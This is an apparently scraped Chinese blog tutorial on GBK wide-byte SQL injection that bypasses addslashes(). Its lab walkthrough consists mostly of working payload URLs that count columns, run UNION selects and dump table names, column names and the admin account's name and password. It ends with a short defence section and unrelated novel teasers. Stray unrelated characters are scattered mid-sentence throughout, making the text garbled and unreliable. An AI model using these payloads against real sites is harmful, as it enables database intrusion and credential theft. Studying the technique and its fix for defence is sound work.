寬字節(jié)注入

概述

首先要先了解一個(gè)寬字節(jié)注入,寬字節(jié)注入主要是源于程序員設(shè)置數(shù)據(jù)庫(kù)編碼與php編碼設(shè)置為不同的兩個(gè)編碼,這樣就可能會(huì)產(chǎn)生寬字節(jié)注入。

栗子:

如果說PHP的編碼為UTF-8而MySQL的編碼設(shè)置為SET NAMES 'gbk'或者SET character_set_client =gbk,這樣配置會(huì)引起編碼轉(zhuǎn)換從而導(dǎo)致漏洞的產(chǎn)生。
這里要說明一小點(diǎn)的是:
SET NAMES 'x'語句與這三個(gè)語句等價(jià):

mysql>SET character_set_client =x;
mysql>SET character_set_results =x;
mysql>SET character_set_connection =x;

也就是說你設(shè)置了SET NAMES 'x'時(shí)就等于同時(shí)執(zhí)行了上面的3條語句预明,我理解的寬字節(jié)注入就是php發(fā)送請(qǐng)求到MySQL時(shí)使用了語句,SET NAMES 'gbk'或者SET character_set_client =gbk,進(jìn)行了一次編碼耙箍,但是又由于一些不經(jīng)意的字符集轉(zhuǎn)換導(dǎo)致了寬字節(jié)的注入撰糠。

寬字節(jié)

GB2312、GBK究西、GB18030窗慎、BIG5、Shift JIS等這些都是常說的寬字節(jié)卤材,實(shí)際上只有兩個(gè)字節(jié)遮斥。寬字節(jié)帶來的安全問題主要是吃ascll字符(一個(gè)字節(jié))的現(xiàn)象。

原理

1扇丛、在我們正常情況下使用addslashes函數(shù)或是開啟PHPGPC(注:在php5.4已上已給刪除,并且需要說明一點(diǎn)术吗,GPC無法過濾$_SERVER提交的參數(shù))時(shí)過濾GET、POST帆精、COOKIE较屿、REQUSET 提交的參數(shù)時(shí),黑客們使用的預(yù)定義字符會(huì)給轉(zhuǎn)義成添加反斜杠的字符串如下面的栗子所示

單引號(hào)(')= (\')
雙引號(hào)(") = (\")
反斜杠(\) = (\\)
URL編碼
%27===單引號(hào)
%20===空格
%23===#號(hào)
%5c===/反斜杠

2卓练、假如這個(gè)網(wǎng)站有寬字節(jié)注入隘蝎,那么我們提價(jià):

http://192.168.1.112:81/kuanzijieloudong/index.php?id=%df%27

這時(shí),假如我們出現(xiàn)現(xiàn)在使用的是addslashes來過濾,那么就會(huì)發(fā)生如下的轉(zhuǎn)換過程

%df%27===(addslashes)===>%df%5c%27===(數(shù)據(jù)庫(kù)GBK)===>運(yùn)'
用戶輸入===過濾函數(shù)===代碼層$sql===mysql處理請(qǐng)求===MySQL中的SQL

這里可能有一些人沒看懂襟企,我可以粗略的解釋一下嘱么。
前端輸入%df%27時(shí)首先經(jīng)過上面addslashes函數(shù)轉(zhuǎn)義變成了%df%5c%27(%5c是反斜杠\),之后在數(shù)據(jù)庫(kù)查詢前因?yàn)樵O(shè)置了GBK編碼顽悼,即是在漢字編碼范圍內(nèi)兩個(gè)字節(jié)都會(huì)給重新編碼為一個(gè)漢字曼振。然后MySQL服務(wù)器就會(huì)對(duì)查詢語句進(jìn)行GBK編碼即是%df%5c轉(zhuǎn)換成了漢字運(yùn)几迄,而單引號(hào)就逃逸了出來须误,從而造成了注入漏洞昌妹。

一慌烧、舉個(gè)栗子

1令境、如下,寬字節(jié)注入的原理實(shí)例昨稼,連接字符集的gbk,對(duì)傳入的值用addslashes()做了轉(zhuǎn)義回还,另外PHP是把ID當(dāng)做一個(gè)字符串來接收的双戳,后面在閉合的時(shí)候需要注意下抛人,具體如下:


TIM圖片20190417114301.png

2妆距、次實(shí)驗(yàn)用于測(cè)試,寬字節(jié)注入點(diǎn)如下

http://192.168.1.112:81/kuanzijieloudong/index.php?id=1
2.png

3函匕、這時(shí)當(dāng)我們用經(jīng)典的單引號(hào)嘗試對(duì)參數(shù)進(jìn)行干擾時(shí)發(fā)現(xiàn),貌似并任何反應(yīng)蚪黑,原因很明顯盅惜,因?yàn)閍ddslashes()已經(jīng)把我們提交的單引號(hào)進(jìn)行了轉(zhuǎn)義

http://192.168.1.112:81/kuanzijieloudong/index.php?id=1'
3.png

4、現(xiàn)在忌穿,我們就可以嘗試?yán)脤捵址麃硗黄祁愃频霓D(zhuǎn)義問題抒寂,這里使用經(jīng)典的%df‘寬字符,如下掠剑,頁面返回?cái)?shù)據(jù)庫(kù)報(bào)錯(cuò)屈芜,說明我們的單引號(hào)已經(jīng)被帶入正常的SQL語句中執(zhí)行查詢了,也就是說朴译,用于轉(zhuǎn)義的那個(gè)‘\’已經(jīng)罷工了


4.png

5井佑、通過觀察打印出來的SQL語句,可以發(fā)現(xiàn)那個(gè)%df和‘\’,在gbk字符編碼中變成了‘運(yùn)’字眠寿,所以這才會(huì)造成轉(zhuǎn)義才會(huì)失效躬翁,既如此,閉合自然就非常簡(jiǎn)單了盯拱,因?yàn)槭亲址秃蟹ⅲ恍枰]合前面的單引號(hào),后面的語句直接注釋掉即可狡逢,具體操作如下:

http://192.168.1.112:81/kuanzijieloudong/index.php?id=1%df' and 1=1 %23  條件為真返回正常
5.png
http://192.168.1.112:81/kuanzijieloudong/index.php?id=1%df' and 1=12 %23 條件為假返回錯(cuò)誤
6.png

6宁舰、查詢當(dāng)前表的字段個(gè)數(shù)

http://192.168.1.112:81/kuanzijieloudong/index.php?id=1%df' order by 3 %23  為3時(shí) 返回正常
7.png
http://192.168.1.112:81/kuanzijieloudong/index.php?id=1%df' order by 4 %23 為4時(shí) 返回異常,說明只有當(dāng)前表3個(gè)字段
8.png

7奢浑、執(zhí)行union蛮艰,爆出對(duì)應(yīng)的數(shù)據(jù)顯示位

http://192.168.1.112:81/kuanzijieloudong/index.php?id=-1%df' union select 1,2,3 %23
9.png

8、收集當(dāng)前數(shù)據(jù)庫(kù)信息殷费,這里只是為了演示寬字節(jié)的正常注入流程印荔,就不再嘗試讀寫文件了低葫,暫時(shí)按照正常權(quán)限來

http://192.168.1.112:81/kuanzijieloudong/index.php?id=-1%df' union select 1,database(),version() %23
10.png

9、查出當(dāng)前庫(kù)中所有表名

http://192.168.1.112:81/kuanzijieloudong/index.php?id=-1%df'  union select 1,group_concat(table_name),user() from information_schema.tables where table_schema=0x74657374 %23    test的十六進(jìn)制編碼為0x74657374
11.png

10仍律、查出admin表中的所有字段名

http://192.168.1.112:81/kuanzijieloudong/index.php?id=-1%df' union select 1,group_concat(column_name),user() from information_schema.columns where table_name=0x61646d696e %23
12.png

11嘿悬、最后去查出管理員賬號(hào)和密碼即可

http://192.168.1.112:81/kuanzijieloudong/index.php?id=-1%df' union select 1, name,pass from  admin limit 0,1 %23
13.png

安全防御方案:
對(duì)于寬字節(jié)編碼,有一種最好的修補(bǔ)就是


1.使用mysql_set_charset(utf8)指定字符集

2. 使用mysql_real_escape_string進(jìn)行轉(zhuǎn)義

原理是水泉,mysql_real_escape_string與addslashes的不同之處在于其會(huì)考慮當(dāng)前設(shè)置的字符集善涨,不會(huì)出現(xiàn)前面e5和5c拼接為一個(gè)寬字節(jié)的問題,但是這個(gè)“當(dāng)前字符集”如何確定呢草则?

就是使用mysql_set_charset進(jìn)行指定钢拧。

上述的兩個(gè)條件是“與”運(yùn)算的關(guān)系,少一條都不行炕横。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末源内,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子份殿,更是在濱河造成了極大的恐慌膜钓,老刑警劉巖,帶你破解...
    沈念sama閱讀 217,084評(píng)論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件卿嘲,死亡現(xiàn)場(chǎng)離奇詭異颂斜,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)拾枣,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,623評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門沃疮,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人梅肤,你說我怎么就攤上這事司蔬。” “怎么了姨蝴?”我有些...
    開封第一講書人閱讀 163,450評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵葱她,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我似扔,道長(zhǎng)吨些,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,322評(píng)論 1 293
  • 正文 為了忘掉前任炒辉,我火速辦了婚禮豪墅,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘黔寇。我一直安慰自己偶器,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,370評(píng)論 6 390
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著屏轰,像睡著了一般颊郎。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上霎苗,一...
    開封第一講書人閱讀 51,274評(píng)論 1 300
  • 那天姆吭,我揣著相機(jī)與錄音,去河邊找鬼唁盏。 笑死内狸,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的厘擂。 我是一名探鬼主播昆淡,決...
    沈念sama閱讀 40,126評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼刽严!你這毒婦竟也來了昂灵?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 38,980評(píng)論 0 275
  • 序言:老撾萬榮一對(duì)情侶失蹤舞萄,失蹤者是張志新(化名)和其女友劉穎倔既,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體鹏氧,經(jīng)...
    沈念sama閱讀 45,414評(píng)論 1 313
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,599評(píng)論 3 334
  • 正文 我和宋清朗相戀三年佩谣,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了把还。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,773評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡茸俭,死狀恐怖吊履,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情调鬓,我是刑警寧澤艇炎,帶...
    沈念sama閱讀 35,470評(píng)論 5 344
  • 正文 年R本政府宣布,位于F島的核電站腾窝,受9級(jí)特大地震影響缀踪,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜虹脯,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,080評(píng)論 3 327
  • 文/蒙蒙 一驴娃、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧循集,春花似錦唇敞、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,713評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽咒精。三九已至,卻和暖如春旷档,著一層夾襖步出監(jiān)牢的瞬間模叙,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,852評(píng)論 1 269
  • 我被黑心中介騙來泰國(guó)打工彬犯, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留向楼,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 47,865評(píng)論 2 370
  • 正文 我出身青樓谐区,卻偏偏與公主長(zhǎng)得像湖蜕,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子宋列,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,689評(píng)論 2 354